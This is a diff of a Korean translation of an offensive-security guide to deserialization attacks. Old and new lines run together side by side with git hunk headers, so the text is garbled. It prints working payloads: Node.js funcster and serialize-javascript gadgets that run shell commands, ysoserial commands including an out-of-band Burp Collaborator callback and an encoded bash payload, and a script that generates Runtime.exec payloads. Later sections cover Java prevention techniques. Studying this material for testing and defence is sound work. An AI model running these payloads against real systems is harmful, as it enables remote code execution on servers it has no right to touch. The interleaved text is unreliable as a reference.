그러나 이 제한을 무시하고 전역 컨텍스트에 대한 완전한 액세스를 복원하는 것은 특정 접근 방식을 통해 가능합니다. 전역 컨텍스트를 직접 활용하여 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 액세스를 다시 설정할 수 있습니다: 이 제한에도 불구하고, 특정 접근 방식을 통해 모든 표준 내장 객체를 포함한 전역 컨텍스트에 대한 전체 접근을 복원하는 것이 가능합니다. 전역 컨텍스트를 직접 활용함으로써 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 접근을 재설정할 수 있습니다:
```javascript ```javascript
funcster = require("funcster"); funcster = require("funcster");
//Serialization //Serialization
@ -274,17 +276,17 @@ funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' } var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3) funcster.deepDeserialize(desertest3)
``` ```
**더 많은 정보를 원하시면 [이 소스를 읽어보세요](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**. **자세한 정보는 이 출처를 읽어보세요**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
**serialize-javascript** 패키지는 직렬화 목적으로 설계되었으며 내장 역직렬화 기능이 없습니다. 사용자는 자체 역직렬화 방법을 구현해야 합니다. 직렬화된 데이터를 역직렬화하는 공식 예제에서는 `eval`의 직접 사용이 제안됩니다: **serialize-javascript** 패키지는 직렬화 목적으로 설계되었으며, 내장 역직렬화 기능이 없습니다. 사용자는 역직렬화를 위한 자신의 방법을 구현할 책임이 있습니다. 직렬화된 데이터를 역직렬화하기 위해 공식 예제에서 `eval`의 직접 사용이 제안됩니다:
```javascript ```javascript
function deserialize(serializedJavascript){ function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')'); return eval('(' + serializedJavascript + ')');
} }
``` ```
만약 이 함수가 객체를 역직렬화하는 데 사용된다면, **쉽게 악용**할 수 있습니다: 이 함수가 객체를 역직렬화하는 데 사용된다면, 당신은 **쉽게 이를 악용할 수 있습니다**:
```javascript ```javascript
var serialize = require('serialize-javascript'); var serialize = require('serialize-javascript');
//Serialization //Serialization
@ -295,68 +297,90 @@ console.log(test) //function() { return "Hello world!" }
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test) deserialize(test)
``` ```
**더 많은 정보를 원하시면 [이 소스를 읽어보세요](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/).** **자세한 정보는 이 출처를 읽어보세요**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Cryo 라이브러리 ### Cryo 라이브러리
다음 페이지에서는 이 라이브러리를 용하여 임의의 명령을 실행하는 방법에 대한 정보를 찾을 수 있습니다: 다음 페이지에서는 이 라이브러리를 용하여 임의의 명령을 실행하는 방법에 대한 정보를 찾을 수 있습니다:
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) * [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) * [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
## Java - HTTP ## Java - HTTP
Java에서 **직렬화 콜백은 직렬화 프로세스 중에 실행**됩니다. 이 실행은 악의적인 페이로드를 조작하여 이러한 콜백을 트리거하는 악용자에 의해 악의적인 작업의 실행으로 이어질 수 있습니다. Java에서**역직렬화 콜백이 역직렬화 과정 중에 실행됩니다**. 이 실행은 공격자가 이러한 콜백을 트리거하는 악성 페이로드를 제작하여 악성 행동을 실행할 수 있도록 악용될 수 있습니다.
### 지문 ### 지문
#### White Box #### 화이트 박스
코드베이스에서 잠재적인 직렬화 취약점을 식별하려면 다음을 검색하십시오: 코드베이스에서 잠재적인 직렬화 취약점을 식별하기 위해 다음을 검색하세요:
* `Serializable` 인터페이스를 구현하는 클래스. * `Serializable` 인터페이스를 구현하는 클래스.
* `java.io.ObjectInputStream`, `readObject`, `readUnshare` 함수의 사용. * `java.io.ObjectInputStream`, `readObject`, `readUnshare` 함수의 사용.
특히 주의를 기울여야 할 사항: 다음에 특히 주의하세요:
* 외부 사용자가 정의한 매개변수와 함께 사용되는 `XMLDecoder`. * 외부 사용자가 정의한 매개변수와 함께 사용되는 `XMLDecoder`.
* 특히 XStream 버전이 1.46 이하인 경우 `XStream``fromXML` 메서드는 직렬화 문제에 취약하므로 주의가 필요합니다. * XStream 버전이 1.46 이하인 경우 직렬화 문제에 취약한 `XStream``fromXML` 메서드.
* `ObjectInputStream`이 `readObject` 메서드와 결합된 경우. * `readObject` 메서드와 결합된 `ObjectInputStream`.
* `readObject`, `readObjectNodData`, `readResolve`, 또는 `readExternal`과 같은 메서드의 구현. * `readObject`, `readObjectNodData`, `readResolve`, 또는 `readExternal`과 같은 메서드의 구현.
* `ObjectInputStream.readUnshared`. * `ObjectInputStream.readUnshared`.
* `Serializable`의 일반적인 사용. * `Serializable`의 일반적인 사용.
#### Black Box #### 블랙 박스
블랙 박스 테스트를 위해 특정 **서명 또는 "매직 바이트"**를 찾아보세요. 이는 자바 직렬화된 객체을 나타냅니다 (`ObjectInputStream`에서 유래): 블랙 박스 테스트의 경우, java 직렬화 객체를 나타내는 특정 **서명 또는 "매직 바이트"**를 찾으세요 (`ObjectInputStream`에서 유래):
* 16진수 패턴: `AC ED 00 05`. * 16진수 패턴: `AC ED 00 05`.
* Base64 패턴: `rO0`. * Base64 패턴: `rO0`.
* `Content-type``application/x-java-serialized-object`로 설정된 HTTP 응답 헤더. * `Content-type``application/x-java-serialized-object`로 설정된 HTTP 응답 헤더.
* 압축 전 16진수 패턴: `1F 8B 08 00`. * 이전 압축을 나타내는 16진수 패턴: `1F 8B 08 00`.
* 압축 전 Base64 패턴: `H4sIA`. * 이전 압축을 나타내는 Base64 패턴: `H4sIA`.
* `.faces` 확장자`faces.ViewState` 매개변수가 있는 웹 파일. 웹 애플리케이션에서 이러한 패턴을 발견하면 [Java JSF ViewState Deserialization에 대한 게시물](java-jsf-viewstate-.faces-deserialization.md)에 자세히 기술된 조사를 유도해야 합니다. * `.faces` 확장자를 가진 웹 파일과 `faces.ViewState` 매개변수. 웹 애플리케이션에서 이러한 패턴을 발견하면 [Java JSF ViewState Deserialization에 대한 게시물](java-jsf-viewstate-.faces-deserialization.md)에서 자세히 설명된 대로 검토해야 합니다.
``` ```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
``` ```
### 취약점 여부 확인 ### 취약점 확인
만약 **Java 직렬화 exploit이 어떻게 작동하는지 배우고 싶다면** [**기본 Java 직렬화**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS 직렬화**](java-dns-deserialization-and-gadgetprobe.md), 그리고 [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md)를 살펴보세요. **Java Deserialized exploit가 어떻게 작동하는지 배우고 싶다면** [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), 및 [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md)를 살펴보아야 합니다.
#### 화이트 박스 테스트 #### 화이트 박스 테스트
알려진 취약점이 있는 플리케이션이 설치되어 있는지 확인할 수 있습니다. 알려진 취약점이 있는 플리케이션이 설치되어 있는지 확인할 수 있습니다.
```bash ```bash
find . -iname "*commons*collection*" find . -iname "*commons*collection*"
grep -R InvokeTransformer . grep -R InvokeTransformer .
``` ```
**Exploit** You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\
When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**.
#### 블랙 박스 테스트
Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\
[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe is focused on **`ObjectInputStream` deserializations**.
Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\
[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations.
You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\
[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**직렬화 테스트**
Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\
If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks.
### **익스플로잇**
#### **ysoserial** #### **ysoserial**
자바 역직렬화를 악용하는 주요 도구는 [**ysoserial**](https://github.com/frohoff/ysoserial) ([**여기에서 다운로드**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))입니다. 복잡한 명령어(예: 파이프 사용)를 사용할 수 있도록 하는 [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)도 고려할 수 있습니다.\ The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\
이 도구는 **`ObjectInputStream`**을 악용하는 데 초점을 맞추고 있습니다.\ Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\
인젝션이 가능한지 테스트하기 위해 RCE 페이로드보다는 **"URLDNS"** 페이로드를 먼저 사용하는 것이 좋습니다. 그래도 "URLDNS" 페이로드가 작동하지 않을 수 있지만 다른 RCE 페이로드는 작동할 수 있음을 유의하세요. I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.
```bash ```bash
# PoC to make the application perform a DNS req # PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -401,9 +425,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64 # Base64 encode payload in base64
base64 -w0 payload base64 -w0 payload
``` ```
**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때는 실행의 출력을 리다이렉트하기 위해 ">" 또는 "|"와 같은 특수 문자를 사용할 수 없으며, 명령을 실행하거나 명령에 **공백**으로 구분된 **인수를 전달**할 수 없습니다 (`echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하려면 [이 웹페이지](http://www.jackson-t.ca/runtime-exec-payloads.html)를 사용할 수 있습니다. When creating a payload for **java.lang.Runtime.exec()** you **cannot use special characters** like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even **pass arguments** to a command separated by **spaces** (you can do `echo -n "hello world"` but you can't do `python2 -c 'print "Hello world"'`). In order to encode correctly the payload you could [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html).
취약한 웹 페이지에서 **Windows 및 Linux에 대한 모든 가능한 코드 실행** 페이로드를 생성하고 테스트하기 위해 다음 스크립트를 자유롭게 사용하십시오: Feel free to use the next script to create **all the possible code execution** payloads for Windows and Linux and then test them on the vulnerable web page:
```python ```python
import os import os
import base64 import base64
@ -424,14 +448,14 @@ open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local') generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local') generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
``` ```
#### 시리얼킬러바이패스가젯 #### serialkillerbypassgadgets
[**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection)을 **ysoserial과 함께 사용하여 더 많은 익스플로잇을 생성**할 수 있습니다. 이 도구에 대한 자세한 정보는 도구가 소개된 **발표 자료**에서 확인할 수 있습니다: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1) You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
#### marshalsec #### marshalsec
[**marshalsec**](https://github.com/mbechler/marshalsec) Java에서 다양한 **Json****Yml** 직렬화 라이브러리를 악용하기 위한 페이로드를 생성하는 데 사용할 수 있습니다.\ [**marshalsec** ](https://github.com/mbechler/marshalsec) Java에서 다양한 **Json****Yml** 직렬화 라이브러리를 악용하기 위한 페이로드를 생성하는 데 사용할 수 있습니다.\
프로젝트를 컴파일하려면 `pom.xml`에 다음 **의존성**을 **추가**해야 했습니다: In order to compile the project I needed to **add** this **dependencies** to `pom.xml`:
```markup ```markup
<dependency> <dependency>
<groupId>javax.activation</groupId> <groupId>javax.activation</groupId>
@ -446,57 +470,57 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
<type>pom</type> <type>pom</type>
</dependency> </dependency>
``` ```
**Maven을 설치**하고 프로젝트를 **컴파일**하세요: **Maven을 설치**하고, **프로젝트를 컴파일**합니다:
```bash ```bash
sudo apt-get install maven sudo apt-get install maven
mvn clean package -DskipTests mvn clean package -DskipTests
``` ```
#### FastJSON #### FastJSON
이 Java JSON 라이브러리에 대해 자세히 알아보세요: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) 이 Java JSON 라이브러리에 대해 알아보세요: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
### Labs ### Labs
* 일부 ysoserial 페이로드를 테스트하려면 **이 웹앱을 실행**할 수 있습니다: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) * ysoserial 페이로드를 테스트하고 싶다면 **이 웹앱을 실행하세요**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) * [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
### Why ### Why
Java는 다음과 같은 다양한 목적으로 직렬화를 많이 사용합니다: Java는 다양한 목적을 위해 많은 직렬화를 사용합니다:
* **HTTP 요청**: 직렬화는 매개변수, ViewState, 쿠키 관리 등에서 널리 사용됩니다. * **HTTP 요청**: 직렬화는 매개변수, ViewState, 쿠키 등의 관리를 위해 널리 사용됩니다.
* **RMI (원격 메서드 호출)**: 직렬화에 완전히 의존하는 Java RMI 프로토콜은 Java 애플리케이션에서 원격 통신의 중추입니다. * **RMI (원격 메서드 호출)**: Java RMI 프로토콜은 직렬화에 전적으로 의존하며, Java 애플리케이션의 원격 통신의 초석입니다.
* **HTTP를 통한 RMI**: 이 방법은 Java 기반의 두꺼운 클라이언트 웹 애플리케이션에서 일반적으로 사용되며 모든 객체 통신에 대해 직렬화를 사용합니다. * **HTTP를 통한 RMI**: 이 방법은 Java 기반의 두꺼운 클라이언트 웹 애플리케이션에서 일반적으로 사용되며, 모든 객체 통신에 직렬화를 활용합니다.
* **JMX (Java 관리 확장)**: JMX는 네트워크를 통해 객체를 전송하기 위해 직렬화를 사용합니다. * **JMX (Java Management Extensions)**: JMX는 네트워크를 통해 객체를 전송하기 위해 직렬화를 사용합니다.
* **사용자 정의 프로토콜**: Java에서는 원시 Java 객체의 전송이 일반적이며 이는 다가오는 악용 예제에서 설명될 것입니다. * **사용자 정의 프로토콜**: Java에서는 표준 관행으로 원시 Java 객체의 전송이 포함되며, 이는 향후 익스플로잇 예제에서 시연될 것입니다.
### Prevention ### Prevention
#### Transient objects #### Transient objects
`Serializable`을 구현하는 클래스는 직렬화되지 말아야 하는 클래스 내의 모든 객체를 `transient`로 구현할 수 있습니다. 예를 들어: `Serializable`을 구현하는 클래스는 직렬화되지 않아야 하는 클래스 내부의 객체를 `transient`로 구현할 수 있습니다. 예를 들어:
```java ```java
public class myAccount implements Serializable public class myAccount implements Serializable
{ {
private transient double profit; // declared transient private transient double profit; // declared transient
private transient double margin; // declared transient private transient double margin; // declared transient
``` ```
#### `Serializable`를 구현해야 하는 클래스의 직렬화 방지 #### Serializable를 구현해야 하는 클래스의 직렬화를 피하십시오
특정 **객체가 클래스 계층 구조로 인해 `Serializable` 인터페이스를 구현해야 하는** 상황에서는, 의도하지 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해 아래와 같이 항상 예외를 throw하`final` `readObject()` 메서드를 정의하여 이러한 객체가 역직렬화되지 않도록 해야 합니다: 특정 **객체가 클래스 계층 구조로 인해 `Serializable`** 인터페이스를 구현해야 하는 시나리오에서는 의도치 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해, 아래와 같이 항상 예외를 발생시키`final` `readObject()` 메서드를 정의하여 이러한 객체가 역직렬화되지 않도록 해야 합니다:
```java ```java
private final void readObject(ObjectInputStream in) throws java.io.IOException { private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); throw new java.io.IOException("Cannot be deserialized");
} }
``` ```
#### **Java에서 역직렬화 보안 강화** #### **Java에서 역직렬화 보안 강화하기**
**`java.io.ObjectInputStream`을 사용자 정의**하는 것은 역직렬화 프로세스를 보호하는 실용적인 방법입니다. 이 방법은 다음 경우에 적합합니다: **`java.io.ObjectInputStream` 사용자 정의**는 역직렬화 프로세스를 보호하기 위한 실용적인 접근 방식입니다. 이 방법은 다음과 같은 경우에 적합합니다:
* 역직렬화 코드가 제어 가능한 경우. * 역직렬화 코드가 귀하의 제어 하에 있을 때.
* 역직렬화를 위해 예상되는 클래스가 알려진 경우. * 역직렬화에 예상되는 클래스가 알려져 있을 때.
**`resolveClass()`** 메서드를 재정의하여 허용된 클래스로 역직렬화를 제한합니다. 이를 통해 `Bicycle` 클래스로의 역직렬화만 허용하는 다음 예제와 같이 명시적으로 허용된 클래스 이외의 클래스의 역직렬화를 방지할 수 있습니다: **`resolveClass()`** 메서드를 재정의하여 허용된 클래스만 역직렬화되도록 제한합니다. 이는 다음 예제와 같이 `Bicycle` 클래스만 역직렬화되도록 명시적으로 허용된 클래스를 제외한 모든 클래스의 역직렬화를 방지합니다:
```java ```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream { public class LookAheadObjectInputStream extends ObjectInputStream {
@ -517,17 +541,17 @@ return super.resolveClass(desc);
} }
} }
``` ```
**보안 향상을 위한 Java 에이전트 사용**은 코드 수정이 불가능할 때 대안적인 해결책을 제공합니다. 이 방법은 주로 **해로운 클래스를 블랙리스트하는** 데 적용되며 JVM 매개변수를 사용합니다: **보안 강화를 위한 Java 에이전트 사용**은 코드 수정을 할 수 없을 때 대체 솔루션을 제공합니다. 이 방법은 주로 **유해한 클래스 블랙리스트**에 적용되며, JVM 매개변수를 사용합니다:
``` ```
-javaagent:name-of-agent.jar -javaagent:name-of-agent.jar
``` ```
동적으로 직렬화를 보호하는 방법을 제공하여 즉시 코드 변경이 어려운 환경에 이상적입니다. 동적으로 역직렬화를 안전하게 하는 방법을 제공하며, 즉각적인 코드 변경이 비현실적인 환경에 이상적입니다.
[rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)에서 예제를 확인하세요. [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)에서 예제를 확인하세요.
**직렬화 필터 구현**: Java 9에서 **`ObjectInputFilter`** 인터페이스를 통해 직렬화 필터를 도입하여 직렬화된 객체가 역직렬화되기 전 충족해야 하는 기준을 지정하는 강력한 메커니즘을 제공했습니다. 이러한 필터는 전역적으로 적용하거나 스트림별로 적용하여 역직렬화 프로세스를 세밀하게 제어할 수 있습니다. **직렬화 필터 구현**: Java 9**`ObjectInputFilter`** 인터페이스를 통해 직렬화 필터를 도입하여, 역직렬화되기 전에 직렬화된 객체가 충족해야 하는 기준을 지정하는 강력한 메커니즘을 제공합니다. 이러한 필터는 전역적으로 또는 스트림별로 적용할 수 있어 역직렬화 프로세스에 대한 세밀한 제어를 제공합니다.
직렬화 필터를 활용하기 위해 모든 역직렬화 작업에 적용되는 전역 필터를 설정하거나 특정 스트림에 동적으로 구성할 수 있습니다. 예를 들어: 직렬화 필터를 사용하려면 모든 역직렬화 작업에 적용되는 전역 필터를 설정하거나 특정 스트림에 대해 동적으로 구성할 수 있습니다. 예를 들어:
```java ```java
ObjectInputFilter filter = info -> { ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -539,41 +563,41 @@ return Status.ALLOWED;
}; };
ObjectInputFilter.Config.setSerialFilter(filter); ObjectInputFilter.Config.setSerialFilter(filter);
``` ```
**강화된 보안을 위한 외부 라이브러리 활용**: **NotSoSerial**, **jdeserialize**, **Kryo**와 같은 라이브러리는 Java 역직렬화를 제어하고 모니터링하 고급 기능을 제공합니다. 이러한 라이브러리는 클래스 화이트리스트 또는 블랙리스트, 역직렬화 전 직렬화된 객체 분석, 사용자 정의 직렬화 전략 구현 등 추가적인 보안 계층을 제공할 수 있습니다. **외부 라이브러리 활용한 보안 강화**: **NotSoSerial**, **jdeserialize**, **Kryo**와 같은 라이브러리는 Java 역직렬화를 제어하고 모니터링하기 위한 고급 기능을 제공합니다. 이러한 라이브러리는 클래스 화이트리스트 또는 블랙리스트 작성, 역직렬화 전 직렬화된 객체 분석, 사용자 정의 직렬화 전략 구현과 같은 추가 보안 계층을 제공할 수 있습니다.
* **NotSoSerial**은 신뢰할 수 없는 코드 실행을 방지하기 위해 역직렬화 프로세스를 가로챕니다. * **NotSoSerial**은 신뢰할 수 없는 코드 실행을 방지하기 위해 역직렬화 프로세스를 가로챕니다.
* **jdeserialize**는 직렬화된 Java 객체를 역직렬화하지 않고 분석할 수 있어 잠재적으로 악의적인 콘텐츠를 식별하는 데 도움이 됩니다. * **jdeserialize**는 역직렬화 없이 직렬화된 Java 객체를 분석할 수 있게 하여 잠재적으로 악의적인 콘텐츠를 식별하는 데 도움을 줍니다.
* **Kryo**는 속도와 효율성을 강조하는 대체 직렬화 프레임워크로, 보안을 강화할 수 있는 구성 가능한 직렬화 전략을 제공합니다. * **Kryo**는 속도와 효율성을 강조하는 대체 직렬화 프레임워크로, 보안을 강화할 수 있는 구성 가능한 직렬화 전략을 제공합니다.
### 참고 자료 ### 참고 문헌
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) * [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)
* 역직렬화 및 ysoserial 토크: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) * 역직렬화 및 ysoserial 강연: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) * [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) * [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
* Gadgetinspector에 대한 토크: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) 및 슬라이드: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) * gadgetinspector에 대한 강연: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) 및 슬라이드: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
* Marshalsec 논문: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) * Marshalsec 논문: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) * [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) * [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) * [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
